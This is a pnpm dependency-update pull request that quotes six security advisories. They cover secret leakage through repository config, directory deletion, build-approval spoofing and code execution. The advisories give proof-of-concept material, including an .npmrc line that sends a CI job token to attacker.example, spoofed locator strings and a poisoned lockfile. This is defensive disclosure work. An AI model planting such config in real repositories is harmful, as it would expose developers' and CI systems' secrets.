fix(deps): Update pnpm to v11.8.0 [SECURITY]#752
Merged
Conversation
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
This PR contains the following updates:
11.5.2→11.8.0pnpm: Repository config can expand victim environment secrets into registry requests before scripts run
CVE-2026-55180 / GHSA-3qhv-2rgh-x77r
More information
Details
Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
CAND-PNPM-122/GHSA-3qhv-2rgh-x77rsecurity/ghsa-batch-2026-06-09a93449314f398cf4bdf2e28d033c02d37395ad22origin/main55a4035abf1ae3fe7208ba1f5ef43c5eff58ccecstart-herepnpm config/env replacement and registry authnpm:pnpm,npm:@​pnpm/config.reader,rust:pacquetCWE-201,CWE-200,CWE-5226.5/CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NExpected Patched Behavior
Project
.npmrcenvironment placeholders do not expand into registry or auth destinations; the secret is absent from the request URL and auth header.Files And Tests To Review
config/reader/src/loadNpmrcFiles.tsconfig/reader/src/getOptionsFromRootManifest.tsconfig/reader/test/index.tsconfig/reader/test/getOptionsFromRootManifest.test.tspacquet/crates/config/src/npmrc_auth.rspacquet/crates/config/src/npmrc_auth/tests.rspacquet/crates/config/src/workspace_yaml.rspacquet/crates/config/src/workspace_yaml/tests.rs.changeset/sharp-registry-env-placeholders.mdFocused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is
results/CAND-PNPM-122-patched-result.json.CAND-PNPM-122: Repository config can expand victim environment secrets into registry requests before scripts run
Advisory Details
Summary
pnpm and pacquet expanded
${ENV_VAR}placeholders from repository-controlled.npmrcandpnpm-workspace.yamlinto registry request destinations and registry credentials. A malicious repository could cause dependency resolution to send victim environment secrets to an attacker-selected registry before lifecycle scripts run.Details
The vulnerable TypeScript pnpm path was:
config/reader/src/loadNpmrcFiles.tsloaded project.npmrcand substituted environment placeholders in keys and values.config/reader/src/getOptionsFromRootManifest.tssubstituted environment placeholders inside workspaceregistry,registries, andnamedRegistriessettings.config/reader/src/index.tsmerged those expanded registry/auth values intopnpmConfig.registries,pnpmConfig.authConfig, andpnpmConfig.configByUri.resolving/npm-resolver/src/fetch.tsbuilt metadata request URLs from the selected registry.network/fetch/src/fetchFromRegistry.tsdispatched the request and attached matching auth headers before install lifecycle scripts could run.The pacquet parity path was:
pacquet/crates/config/src/npmrc_auth.rsexpanded project.npmrcplaceholders while parsing registry URLs and auth values.pacquet/crates/config/src/workspace_yaml.rsexpanded workspace registry placeholders.pacquet/crates/resolving-npm-resolver/src/fetch_full_metadata.rsused the configured registry URL andAuthHeadersfor metadata fetches.PoC
Repository
.npmrcURL-path exfiltration:registry=https://attacker.example/${CI_JOB_TOKEN}/Repository
.npmrcauth-header exfiltration:Repository
pnpm-workspace.yamlURL-path exfiltration:Exploit method:
CI_JOB_TOKENor another sensitive environment variable present.https://attacker.example/<secret>/<package>orAuthorization: Bearer <secret>to the attacker-controlled endpoint.Validation PoC:
The PoC models the pre-patch URL and Authorization-header leaks, then verifies that patched pnpm and pacquet do not keep the secret in repository-controlled registry destinations or credential values.
Impact
A malicious repository can disclose environment secrets present in a developer or CI process to a repository-selected registry before script controls apply. This can expose npm tokens, CI job tokens, OIDC helper inputs, or other conventional environment secrets if the attacker knows or guesses their names.
Affected Products
Ecosystem: npm
Package name:
pnpm,@pnpm/config.reader; pacquet Rust portAffected versions: current main before this patch, when project
.npmrcorpnpm-workspace.yamlcontains environment placeholders in registry request destinations or project.npmrccontains environment placeholders in registry credential values.Patched versions: pending release containing this patch.
Severity
Severity before patch: High
Vector string before patch:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:NScore before patch: 7.4
Severity after patch: None
Vector string after patch: not vulnerable after patch
Score after patch: 0.0
Rationale: exploitation is remote and low complexity once a victim runs pnpm or pacquet in the malicious repository. No attacker privileges are required, but user interaction is required. The demonstrated sink is secret disclosure through outbound registry requests, not arbitrary code execution, so confidentiality is high while integrity and availability are not directly impacted by this finding. After the patch, repository-controlled registry destinations and credential values containing env placeholders are ignored, while trusted user/global/auth.ini/CLI config still expands.
Weaknesses
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CWE-522: Insufficiently Protected Credentials
Patch
The patch makes environment expansion trust-aware for registry requests:
.npmrcno longer expands${...}inregistry,@scope:registry, proxy URL values, URL-scoped keys such as//host/${SECRET}/:_authToken, or registry credential values such as//host/:_authToken=${SECRET}and_authToken=${SECRET}..npmrc, auth.ini, CLI, global, and environment config still support env expansion for trusted registry configuration.pnpm-workspace.yamlno longer expands${...}inregistry,registries, ornamedRegistriesURL values.//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}still expand or lossy-drop as before, preserving setup-node and OIDC trusted-publishing behavior when the.npmrcis supplied as user config.from_project_ini()for project.npmrcand workspace registry filtering.Changed files:
config/reader/src/loadNpmrcFiles.tsconfig/reader/src/getOptionsFromRootManifest.tsconfig/reader/test/index.tsconfig/reader/test/getOptionsFromRootManifest.test.tspacquet/crates/config/src/npmrc_auth.rspacquet/crates/config/src/npmrc_auth/tests.rspacquet/crates/config/src/workspace_yaml.rspacquet/crates/config/src/workspace_yaml/tests.rsChangeset:
.changeset/sharp-registry-env-placeholders.mdPacquet parity:
Ported in the same patch. Pacquet dependency-management commands now parse project
.npmrcwith request-destination and credential-value env expansion disabled, and drop workspace registry values containing${...}placeholders.Verification
Post-patch validation:
The PoC ran:
Results:
cand122-ci-job-tokenin both a request URL and a bearer auth header.config.reader: passed..npmrcdefault registry denial, scoped registry denial, URL-scoped-key denial, project auth-value denial, trusted user.npmrcregistry expansion, trusted user auth-value expansion/lossy fallback, and workspace registry denial.cargo fmt --check: passed..npmrcregistry denial, scoped registry denial, URL-scoped-key denial, auth-value denial, trusted.npmrcregistry expansion, and workspace YAML denial.git diff --check: passed.CVSS Reassessment
The initial scan score used a repository-code-execution vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H(8.8 High)The PoC and source trace showed this finding is direct secret disclosure through registry request URLs or Authorization headers, not a code execution path. The corrected vulnerable vector is:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:NCorrected vulnerable score: 7.4 High.
Final score after patch: 0.0.
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:NReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Reserved bin name deletes PNPM_HOME during global remove
CVE-2026-55699 / GHSA-4gxm-v5v7-fqc4
More information
Details
Maintainer Action Plan
Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
CAND-PNPM-085/GHSA-4gxm-v5v7-fqc4security/ghsa-batch-2026-06-09a93449314f398cf4bdf2e28d033c02d37395ad22origin/main55a4035abf1ae3fe7208ba1f5ef43c5eff58ccecappendixpnpm global add/remove bin cleanupnpm:pnpmCWE-22,CWE-736.5/CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:HExpected Patched Behavior
Reserved, dot, and path-segment bin names are rejected or ignored; global remove leaves
PNPM_HOMEand the sentinel file intact.Files And Tests To Review
bins/resolver/src/index.tsbins/resolver/test/index.tsglobal/commands/test/globalRemove.test.tspacquet/crates/cmd-shim/src/bin_resolver.rspacquet/crates/cmd-shim/src/bin_resolver/tests.rs.changeset/strange-bin-segments.mdFocused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is
results/CAND-PNPM-085-patched-result.json.Title
Reserved manifest bin names can make global package operations delete outside the global bin directory
Description
Summary
Manifest
binobject keys such as"",".", and".."passed pnpm's bin-name guard. When a malicious package was installed globally, later global remove, update, or add-replacement flows could re-derive those names from the installed manifest and passpath.join(globalBinDir, binName)toremoveBin. For"."this targets the global bin directory; for".."this targets its parent.Details
The vulnerable dataflow was:
bins/resolver/src/index.tsconverted manifestbinobject keys tobinNameand only required URL-safe text or$. Empty, dot, dot-dot, and scoped forms such as@scope/..were not rejected after scope stripping.global/packages/src/scanGlobalPackages.tsscanned installed global package manifests and returned manifest-derivedbin.namevalues.global/commands/src/globalRemove.ts,global/commands/src/globalUpdate.ts, and global add replacement logic joined those names toglobalBinDir.bins/remover/src/removeBins.tsrecursively removed the resulting path.Install-time checks did not close the gap: bin target paths were package-root checked, conflict checks looked at the same escaped path but did not reject reserved segments, and bin-link warning paths could leave the package installed for later global operations.
PoC
Run:
The script first performs a safe prepatch simulation in a temporary directory:
It then validates the patched implementation:
The patched resolver no longer emits reserved bin names, and the global-remove regression proves the deletion sink receives only
path.join(globalBinDir, "good").Impact
Direct confidentiality impact was not validated for this primitive; the sink is deletion/corruption, not a read or disclosure path.
Affected Products
Ecosystem: npm
Package name:
pnpmAffected versions: versions before the patch that accept reserved manifest bin names in TypeScript global package flows.
Patched versions: pending release containing the shared bin-name hardening.
Severity
Corrected vulnerable severity: High
Corrected vulnerable vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:HCorrected vulnerable score: 8.1
Final post-patch score: 0.0, not vulnerable after patch.
The original scan score was 8.3 with
C:H/I:H/A:L. Revalidation removes direct confidentiality impact and raises availability to high because the sink can recursively delete the global bin directory or its parent.Weaknesses
CWE-22: Improper Limitation of a Pathname to a Restricted Directory
CWE-73: External Control of File Name or Path
Patch
bins/resolver/src/index.tsnow rejects empty, dot, and dot-dot bin names after scope stripping.bins/resolver/test/index.tscovers empty, dot, dot-dot, and scoped reserved bin keys.global/commands/test/globalRemove.test.tsproves global remove filters reserved manifest bin names before deletion and only removes a safegoodshim.pacquet/crates/cmd-shim/src/bin_resolver.rsmirrors the same reserved-name rejection; empty names were already rejected.pacquet/crates/cmd-shim/src/bin_resolver/tests.rsextends parity coverage..changeset/strange-bin-segments.mdrecords patch releases for@pnpm/bins.resolver,pnpm, andpacquet.Pacquet parity is appropriate at the shared bin resolver/linker boundary because pacquet dependency-management commands can resolve and link package bins, even though the TypeScript-only global remove/update/add replacement flow is the concrete destructive-delete sink.
Validation
Passed locally:
The script passed TypeScript builds, ESLint,
bins/resolverJest, global-remove sink Jest, pacquet fmt/tests, andgit diff --check.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Manifest identity spoof satisfies allowBuilds and runs attacker lifecycle
CVE-2026-55487 / GHSA-5wx6-mg75-v57r
More information
Details
Summary
Keep build approval for opaque dependency sources byte-exact for GHSA-5wx6-mg75-v57r / CAND-PNPM-123.
Merged upstream commit
bf1b731ee6fixed the original name-only approval bypass by making build policy consume the resolved dependency identity. One collision remained: the generic peer-suffix normalizer also stripped parenthesized text from git, URL, tarball, file, and other opaque locators. Approval for one source string could therefore authorize a different attacker-controlled source whose locator normalized to the same value.Security boundary
Exploit replay
allowBuildsapprovingfoo@https://host/pkg.tgz, the upstream implementation also acceptedfoo@https://host/pkg.tgz(evil)because both passed through peer-suffix removal.foo@https://host/pkg@1.0.0(good)andfoo@https://host/pkg@1.0.0(evil)collided because the parser selected the final@and misclassified the opaque URL as a registry package.https://host/pkg@1.0.0could collapsehttps://host/pkg@1.0.0(evil).Files changed
building/policy/src/index.tsandbuilding/policy/test/index.tsnormalize only parsed registry identities and retain exact opaque keys.pacquet/crates/package-manager/src/build_modules.rspasses snapshot identities to policy, matches TypeScript package-separator parsing, and preserves opaque locators.pacquet/crates/package-manager/src/build_modules/tests.rscovers exact approval and denial, all three collision forms, ignored-build output, and registry peer compatibility..changeset/quiet-opaque-build-identities.mdrecords patch releases for@pnpm/building.policyandpnpm.Commands run
Validation
@collision before the additive fix and passed afterward.84bb4b1a046f3a659de1c9aab1d45dcf814124ce.@pnpm/pacquet@0.11.2; no candidate-focused test failed.Patches
10.34.2: pnpm/pnpm@14bceb111.5.3: pnpm/pnpm@bf1b731Compatibility
Registry package approvals keep their existing form. Opaque dependencies that were approved through a normalized parenthesized variant must now use the exact key shown in pnpm's ignored-build output. This is the intended trust-boundary change; no package-resolution or artifact format changes.
CI note
GitHub intentionally does not run status checks on temporary private-fork pull requests. The complete policy suites, formatting, and diff checks above are the applicable validation: https://docs.github.com/code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability
Written by an agent (Codex, GPT-5).
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Repository-controlled configDependencies can select a pacquet native install engine
CVE-2026-55697 / GHSA-gj8w-mvpf-x27x
More information
Details
Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
CAND-PNPM-097/GHSA-gj8w-mvpf-x27xsecurity/ghsa-batch-2026-06-09a93449314f398cf4bdf2e28d033c02d37395ad22origin/main55a4035abf1ae3fe7208ba1f5ef43c5eff58ccecstart-herepnpm configDependencies / pacquet delegationnpm:pnpm,npm:@​pnpm/config.reader,npm:@​pnpm/installing.commandsCWE-829,CWE-78,CWE-4947.5/CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HExpected Patched Behavior
config-dependency pacquet install engines are not selected unless the trusted allowlist is set outside the repository; the marker file is not created.
Files And Tests To Review
config/reader/src/Config.tsconfig/reader/src/types.tsconfig/reader/src/configFileKey.tsconfig/reader/src/index.tsconfig/reader/test/index.tsinstalling/commands/src/installDeps.tsinstalling/commands/test/runPacquet.tspnpm/test/install/pacquet.ts.changeset/lucky-config-plugin-pnpmfiles.mdFocused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is
results/CAND-PNPM-097-patched-result.json.Summary
pnpm can install
configDependenciesdeclared inpnpm-workspace.yamlbefore command dispatch. Before the patch, a repository could declarepacquetor@pnpm/pacquetas a config dependency and pnpm treated that repository-controlled dependency as an install-engine opt-in. During install, pnpm resolved a platform-specific@pacquet/<platform>-<arch>/pacquetbinary fromnode_modules/.pnpm-config/<packageName>and spawned it as the developer or CI user.Details
The vulnerable source-to-sink path was:
config/reader/src/getOptionsFromRootManifest.tscopies repositorypnpm-workspace.yamlconfigDependenciesinto config.pnpm/src/getConfig.tsinstalls config dependencies before command dispatch.installing/env-installer/src/resolveAndInstallConfigDeps.tsresolves the repository-declared dependency and its optional platform subdependencies.installing/env-installer/src/installConfigDeps.tsfetches, imports, and symlinks the config dependency tree undernode_modules/.pnpm-config.installing/commands/src/installDeps.tsselected pacquet delegation wheneverconfigDependenciescontainedpacquetor@pnpm/pacquet.installing/deps-installer/src/install/index.tscalledopts.runPacquetfrom frozen and materialization paths.installing/commands/src/runPacquet.tsresolved@pacquet/${process.platform}-${process.arch}/pacquetfrom the installed config dependency package and executed it withspawn().Exact-version, integrity, and platform filters only proved which bytes package resolution selected; they did not establish that the repository was trusted to choose a native install engine.
PoC
Standalone PoC and verification script:
Repository fixture:
Registry package shape:
{ "name": "pacquet", "version": "0.2.2", "optionalDependencies": { "@​pacquet/darwin-arm64": "0.2.2" } }Platform package payload:
Pre-patch exploit model:
pnpm installin the repository..pnpm-config.installDeps()treats the presence ofconfigDependencies.pacquetorconfigDependencies["@​pnpm/pacquet"]as authorization to delegate install materialization.runPacquet()resolves the platform binary from the installed config dependency tree and spawns it in the lockfile directory.Observed PoC output:
{ "primitive": "repository-selected pacquet config dependency reaches native process execution when selected", "patchedWithoutAllowlist": "blocked", "trustedAllowlist": "allows explicit opt-in" }Focused validation commands:
Validation result:
getPacquetConfigDependencyName()returnsundefinedwithout a trusted allowlist.getPacquetConfigDependencyName()allows exactpacquet, exact@pnpm/pacquet, and wildcard*trusted opt-in.configDependencyInstallEngineAllowlist, whilepnpm-workspace.yamlcannot grant this permission to itself.@pnpm/config.reader,@pnpm/installing.commands, andpnpm.installing/commands/test/runPacquet.ts: 3 passed.config/reader/test/index.ts: 2 passed, 132 skipped under the focused pattern.config/reader/test/index.tsandpnpm/test/install/pacquet.ts.git diff --check: passed.Impact
A malicious repository can cause pnpm to execute a registry-selected native binary while handling dependency-management commands. The binary runs with the victim developer or CI user's filesystem, environment, registry credentials, git/SSH credentials, and network access.
Affected products
Ecosystem: npm
Package name:
pnpm,@pnpm/config.reader,@pnpm/installing.commandsAffected versions: current main before this patch, when
configDependenciescontainspacquetor@pnpm/pacquetand install paths delegate to pacquet.Patched versions: 10.34.2, 11.5.3.
Severity
Severity: High
Vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HBase score: 8.8
Rationale: attacker input is delivered through a repository and registry package, exploitation is low complexity once the victim runs pnpm, no attacker privileges are required, and user interaction is required. Successful exploitation executes a native binary in the victim user's context, with high confidentiality, integrity, and availability impact.
Weaknesses
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
CWE-78: Improper Neutralization of Special Elements used in an OS Command
CWE-494: Download of Code Without Integrity Check
Patch
The patch adds a trusted opt-in gate for config-dependency install-engine delegation:
configDependencyInstallEngineAllowlist.pnpm-workspace.yamlcannot grant this permission to itself; workspace-provided values are discarded after workspace settings are merged.installDeps()delegates to pacquet only whenpacquet,@pnpm/pacquet, or*is present in the trusted allowlist.pacquetas a config dependency, but pnpm will not spawn it as an install engine unless trusted config opts in.Changed files:
config/reader/src/Config.tsconfig/reader/src/types.tsconfig/reader/src/configFileKey.tsconfig/reader/src/index.tsconfig/reader/test/index.tsinstalling/commands/src/installDeps.tsinstalling/commands/test/runPacquet.tspnpm/test/install/pacquet.tsChangeset:
.changeset/lucky-config-plugin-pnpmfiles.mdPacquet parity:
No pacquet-side code-execution sink exists for this finding. The Rust port parses and records
configDependenciesfor workspace-state compatibility, but it does not install config dependencies or select/spawn an alternate install engine from them. The user-visible trust setting is TypeScript-side today because it gates pnpm's pacquet delegation path.CVSS Reassessment
Initial CVSS remains correct for vulnerable versions:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/ 8.8 High.Final CVSS after patch: not vulnerable after patch / 0.0. The PoC no longer reaches pacquet install-engine selection or native process execution unless the victim has set a trusted allowlist outside the repository's own workspace settings.
Remaining Risk
Users can explicitly trust pacquet install-engine delegation through the new allowlist. That is intentional behavior; the closed issue is repository self-authorization of a registry-provided native install engine.
Severity
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm:
stage downloadwrites outside its destination directory via manifest name/version traversalCVE-2026-55700 / GHSA-v23m-ccfg-pq9h
More information
Details
Summary
The staged-tarball filename traversal reported as GHSA-v23m-ccfg-pq9h / CAND-PNPM-038 is fixed on
mainby pnpm/pnpm#12303, merged as65443f4bdf1f0db9c8c7dc58fee25252607e9234.Before the fix,
pnpm stage downloadderived a local filename from registry-controlled package name and version fields. A crafted manifest could escape the selected download directory and overwrite another reachable file. The merged fix validates both fields, derives one safe filename, and verifies the final destination before writing.Security boundary
Exploit replay
Before
65443f4bdf, a traversal-bearing manifest version could make the command write outside the selected directory. After the fix, malicious package names fail withERR_PNPM_INVALID_PACKAGE_NAME, malicious versions fail withERR_PNPM_INVALID_PACKAGE_VERSION, no outside file is created, and the download directory remains empty.Files changed
releasing/commands/src/tarball/safeTarballFilename.tsvalidates manifest identity and rejects cross-platform path separators.releasing/commands/src/stage/download.tsverifies the resolved destination before writing.releasing/commands/src/tarball/summarizeTarball.tsuses the same filename contract.releasing/commands/test/stage.test.tscovers traversal through both package name and version..changeset/stale-stage-tarballs.mdincludes patch bumps for@pnpm/releasing.commandsandpnpm.Patch
65443f4bdf1f0db9c8c7dc58fee25252607e9234Commands run
Validation
pnpm/test/dlx.tscache test after 512 other tests passed. The PR was merged by the maintainer; the failure did not involve the staging code.git diff --checkalso passed.Compatibility
Staging and release commands are TypeScript-only. Pacquet does not expose this command family, so no Rust-side port is required.
Remaining risk
The final
fs.writeFilefollows a pre-existing symlink at the exact in-directory output name. That requires separate local filesystem access and is not controllable through the registry manifest traversal described here.Written by an agent (Codex, GPT-5).
Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:LReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Project env lockfile can short-circuit package-manager resolution and execute lockfile-selected pnpm bytes
CVE-2026-55698 / GHSA-w466-c33r-3gjp
More information
Details
Maintainer Action Plan
This report is ready to review with the shared patch branch. Start with the PR and the expected fixed behavior, then use the detailed exploit narrative below only if you want to replay the original path.
CAND-PNPM-063/GHSA-w466-c33r-3gjpsecurity/ghsa-batch-2026-06-09a93449314f398cf4bdf2e28d033c02d37395ad22origin/main55a4035abf1ae3fe7208ba1f5ef43c5eff58ccecstart-herepnpm packageManager env lockfilenpm:pnpm,npm:@​pnpm/installing.env-installerCWE-829,CWE-494,CWE-3458.8/CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HExpected Patched Behavior
Committed env-lockfile package-manager entries are force-refreshed through trusted registries before execution; attacker tarball requests and markers stay at zero.
Files And Tests To Review
installing/env-installer/src/resolvePackageManagerIntegrities.tspnpm/src/switchCliVersion.tspnpm/src/switchCliVersion.test.ts.changeset/clean-package-manager-registries.mdFocused Validation
Run these from a checkout of the shared patch branch. They are the useful maintainer commands with machine-local artifact paths removed.
The full patched replay for the shared branch passed with all 20 candidates marked fixed. This candidate's replay evidence is
results/CAND-PNPM-063-patched-result.json.Summary
pnpm can persist package-manager bootstrap metadata in the first YAML document of
pnpm-lock.yaml. Before the patch, direct pnpm execution trusted an already resolvedpackageManagerDependenciesentry when the committed env lockfile contained matchingpnpmand@pnpm/exeversions. A malicious repository could therefore commit package-manager lockfile package records and snapshots that bypassed fresh package-manager resolution, then cause pnpm to install and execute bytes selected by that committed lockfile state during automatic version switching.Details
The vulnerable source-to-sink path was:
lockfile/fs/src/envLockfile.tsreads the repository's first YAML lockfile document and validates shape only.pnpm/src/main.tsreachesswitchCliVersion()when a direct pnpm invocation sees a wantedpnpmpackage manager withonFail=download.pnpm/src/switchCliVersion.tsreads the committed env lockfile when package-manager metadata should be persisted.installing/env-installer/src/resolvePackageManagerIntegrities.tstreatedpackageManagerDependenciesas resolved when only thepnpmand@pnpm/exeversions matched.engine/pm/commands/src/self-updater/installPnpm.tsconverts env-lockfilesnapshotsandpackagesinto the wanted lockfile used byheadlessInstall().pnpm/src/switchCliVersion.tsexecutes the installedpnpmbinary withspawn.sync().The helper fast path is intentionally still version-based for non-execution callers, so the security boundary is enforced at the execution path:
switchCliVersion()now re-resolves already present package-manager env-lockfile entries before they can reachinstallPnpmToStore()andspawn.sync().PoC
Standalone PoC and verification script:
The PoC constructs a committed env-lockfile object with matching package-manager dependency versions and attacker-selected package metadata:
{ "importers": { ".": { "configDependencies": {}, "packageManagerDependencies": { "@​pnpm/exe": { "specifier": "9.3.0", "version": "9.3.0" }, "pnpm": { "specifier": "9.3.0", "version": "9.3.0" } } } }, "lockfileVersion": "9.0", "packages": { "/pnpm@9.3.0": { "resolution": { "integrity": "sha512-poisoned" } } }, "snapshots": { "/pnpm@9.3.0": {} } }Pre-patch exploit model:
switchCliVersion()and reads the committed env lockfile.pnpm/@pnpm/exeversions short-circuit package-manager resolution.pnpmbinary.Observed primitive proof from the PoC:
{ "primitive": "unforced resolver reuses already-resolved env lockfile metadata", "isResolvedByVersionOnly": true, "reusedPoisonedIntegrity": true }The same script then runs the patched
switchCliVersionregression. The regression seeds a poisoned committed env lockfile, has the resolver return a trusted replacement lockfile, and assertsinstallPnpmToStore()receives the trusted lockfile rather than the committed one. This would fail on the vulnerable control flow because the resolver was not called and the committed lockfile reached the installer.Focused validation commands:
Validation result:
switchCliVersion()callsresolvePackageManagerIntegrities()withforce: truewhen committed env-lockfile package-manager entries already satisfy the requested version.switchCliVersion()assigns the resolver return value back toenvLockfile.@pnpm/installing.env-installerandpnpm.switchCliVersion.test.ts.git diff --checkpassed.Impact
A malicious repository can cause arbitrary package-manager code execution in the victim's developer or CI environment before normal command handling continues. That code executes with the victim user's privileges and can read local secrets, alter project files, mutate dependency state, or run further commands.
Affected products
Ecosystem: npm
Package name:
pnpm,@pnpm/installing.env-installerAffected versions: current main before this patch; direct pnpm execution with package-manager auto-switching and a repository-controlled env lockfile.
Patched versions: pending release containing this patch.
Severity
Severity: High
Vector string:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HBase score: 8.8
Rationale: the malicious source is repository-controlled package-manager lockfile state delivered through normal supply-chain channels. Exploitation is low complexity once the victim runs pnpm directly, no attacker privileges are required, and user interaction is required. Successful exploitation executes attacker-selected package-manager code in the victim user's security context, with high confidentiality, integrity, and availability impact.
Weaknesses
CWE-829: Inclusion of Functionality from Untrusted Control Sphere
CWE-494: Download of Code Without Integrity Check
CWE-345: Insufficient Verification of Data Authenticity
Patch
The patch makes automatic package-manager switching re-resolve repository-provided bootstrap metadata before install and execution:
resolvePackageManagerIntegrities()acceptsforce, which bypasses the version-only fast path.switchCliVersion()creates a store controller even when the committed env lockfile already contains satisfying package-manager dependency versions.switchCliVersion()callsresolvePackageManagerIntegrities()withforce: truefor already resolved package-manager entries.switchCliVersion()assigns the returned env lockfile back toenvLockfile, soinstallPnpmToStore()installs from freshly resolved metadata.Changed files:
installing/env-installer/src/resolvePackageManagerIntegrities.tspnpm/src/switchCliVersion.tspnpm/src/switchCliVersion.test.tsChangeset:
.changeset/clean-package-manager-registries.mdPacquet parity:
No pacquet-side patch is required for this finding because pacquet does not implement pnpm's package-manager auto-switch path or
installPnpmToStore().CVSS Reassessment
Initial CVSS remains correct for vulnerable versions:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/ 8.8 High.Final CVSS after patch: not vulnerable after patch / 0.0. The PoC still demonstrates the underlying unforced env-lockfile reuse primitive, but the patched execution path force-refreshes package-manager metadata